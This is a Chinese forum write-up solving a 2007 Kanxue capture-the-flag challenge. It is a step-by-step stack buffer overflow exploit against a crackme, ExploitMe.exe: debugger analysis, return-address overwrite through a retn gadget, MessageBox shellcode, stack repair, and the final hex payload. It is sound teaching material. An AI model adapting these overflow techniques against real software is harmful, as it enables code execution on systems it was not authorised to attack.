【文章标题】: 2007看雪金山2-1详解
【文章作者】: 柳州小林
【作者邮箱】: 55713720@qq.com
【作者QQ号】: 55713720
【下载地址】: http://bbs.pediy.com/showthread.php?t=50554
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
--------------------------------------------------------------------------------
【详细过程】
1、题目说是用溢出,所以分析程序,找溢出点。
OD载入程序,看到是标准的WIN32对话窗,4003BF是消息循环。跟上,看到一句cmp eax,3E8,是按键消息,call 4002F6
是就是要分析的。流程是这样:
call 00400480 是否有文件
文件要大于8小于0x1000
用VirtualAlloc申请一个内存
call 00400510 读取文件并复制到申请的内存空间
call 00400280 溢出点
错误提示
call 004004D0 关闭文件句柄
VirtualFree 释放内存
分析 call 00400280:
call 004005C0
call 00400540 .txt前8位字节运算2次
4002CC~4002D7 .txt前8位字节异或
4002D9~4002E7 运算得ECX(循环次数)
4002EE 溢出点
2、溢出点是把.txt的内容覆盖栈,所以最后要用栈来过度到.txt内的代码
3、溢出是用rep movs dword ptr es:[edi],dword ptr ds:[esi],循环次数看ECX
ECX是多少看这里面:
004002D9 |. 6A 1A push 1A
004002DB |. 59 pop ecx
004002DC |. 2BC8 sub ecx,eax; eax=400540的结果
004002DE |. 0FAFC8 imul ecx,eax
004002E1 |. 81E9 9C000000 sub ecx,9C
004002E7 |. 85C9 test ecx,ecx
如果EAX大于0x1A,就会得负数,哪循环次数就太大了,所以EAX要小于0x1A,下面的0x9C也同理,应该大于9C,
写个小循环来看看:
int F3()
{
int tmp;
for (int i=0;i<0x1b;i++)
{
tmp=(26*i)-(i*i);
if (tmp>156)
{
printf("%02X\n",i);
}
}
}
结果 是0xA~0x10;就是说call 004005C0和call 00400540算出来的结果要在这个范围内.
4、但到底是多少呢?,只要注意看栈的增减和内容就知道了,断在4002EB,从这看栈,ESP为12FA44,EBP为12FA78大小为0x34,
看12FA7C是函数的返回地址,溢出应该是覆盖并替换这个地址,数一数12FA44到12FA7C的,15个DWORD,减去4002EE后面的两
个POP和一个LEAVE,得13个DWORD,13=>0xD
5、call 004005C0和call 00400540的算法虽然不复杂,但逆起来也不容易呀,所以我用穷举.这里用一下刚学会的,写一个程
序,用MapAndLoad把ExploitMe.exe映射进该程序,直接调用就可以了.(代码后附)得出两个DWORD后还要异或0xC1(4002CC)看
看,是否是可执行的汇编代码.最终得前8个字节:B533F3EF 00000000
6、找新的返回地址
要找到这个地址先要了解CALL的进入,返回和椎栈平衡,比我们看call 00400280
小知识:
CALL进入前,除了把参数压入栈,还会把返回地址也压入栈
0040037C push eax push eax 0012FA7C 00400383 <=ESP
0040037D push esi 可以看成=> push esi 栈==> 0012FA80 001F0000
0040037E call 00400280 push 400838 0012FA84 00000047
00400383 pop ecx jmp 400280
在CALL进入后,它会给自己分配一定的栈.
00400280 push ebp ;原EBP入栈
00400281 mov ebp,esp ;栈顶变栈底,并指向原EBP
00400283 sub esp,2C ;分配空间
....................
在返回前,会用leave来平衡椎栈后,才返回
lea esp,[ebp+4]
004002F4 leave mov ebp,[ebp] 0012FA7C 00400383 <=ESP
004002F5 retn 可以看成=> pop eip 栈==> 0012FA80 001F0000 <=参数1
0012FA84 00000047 <=参数2
所以讲一般直接写成.txt的映射地址就可以,但这个映射地址是一个变量,怎样办呢?发现call 00400280的参数1就是映射地
址,且和retn就差一个POP,也就是说再加一个retn命令可以跳到映射地址,并执行里面的代码.所以返回地址为4002F5.
7、写.txt里面的代码,要求是用MessageBox显示OK!正常代码为
push 0
push OK!的地址
push OK!的地址
push 0
call dword ptr ds:[40024C]
现在的问题就是OK!的地址?,其实等效于push的命令也没有多少个,CALL就是一个,它在进入CALL之前会把它下一句的地
址PUSH进入栈,所以这里面用call.
小知识:
call后的地址是相对地址,相对于当前地址加命令长度如:
004003E2 . E8 0FFFFFFF call 004002F6
当前地址为4003E2,要跳到4002F6里面,这条命令占5个字节,所以要从4003E7算起,2F6-3E7=FFFFFF0F(-241)
E8是call
FFFFFF0F是相对地址
所以这条命令是从该命令的下句地址向前走241个字节.
得出代码如下:
003C0009 6A 00 push 0
003C000B E8 04000000 call 003C0014
003C0010 4F dec edi
003C0011 4B dec ebx
003C0012 2100 and dword ptr ds:[eax],eax
003C0014 E8 04000000 call 003C001D
003C0019 4F dec edi
003C001A 4B dec ebx
003C001B 2100 and dword ptr ds:[eax],eax
003C001D 6A 00 push 0
003C001F FF15 4C024000 call dword ptr ds:[<&USER32.MessageBoxA>>; user32.MessageBoxA
8、修正栈,让程序正常返回
如果执行完以上代码就直接跳到400397的话,程序会崩溃,因为
00400397 |. 8D4D F0 lea ecx,dword ptr ss:[ebp-10]
0040039A |. E8 31010000 call 004004D0
这两句除了释放文件句柄外,还有检测溢出后椎栈是否平衡的作用.
跟踪发现,ebp的值发生错误是在这里:
lea esp,[ebp+4]
004002F4 leave mov ebp,[ebp]
004002F5 retn 可以看成=> pop eip
因为溢出时,把原EBP覆盖成0了,所以只要在.txt里加入这个EBP就可以(栈的进出次数是固定,所以可以使用绝对值).
因为
9、答案
B5 33 F3 EF 00 00 00 00 00 6A 00 E8 04 00 00 00 ?.j.?...
4F 4B 21 00 E8 04 00 00 00 4F 4B 21 00 6A 00 FF OK!.?...OK!.j.
15 4C 02 40 00 68 97 03 40 00 C3 00 A0 FA 12 00 L@.h?@.?狕.
F5 02 40
--------------------------------------------------------------------------------
【版权声明】: 本文原创于看雪技术论坛, 转载请注明作者并保持文章的完整, 谢谢!
2012年01月03日 12:15:32
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!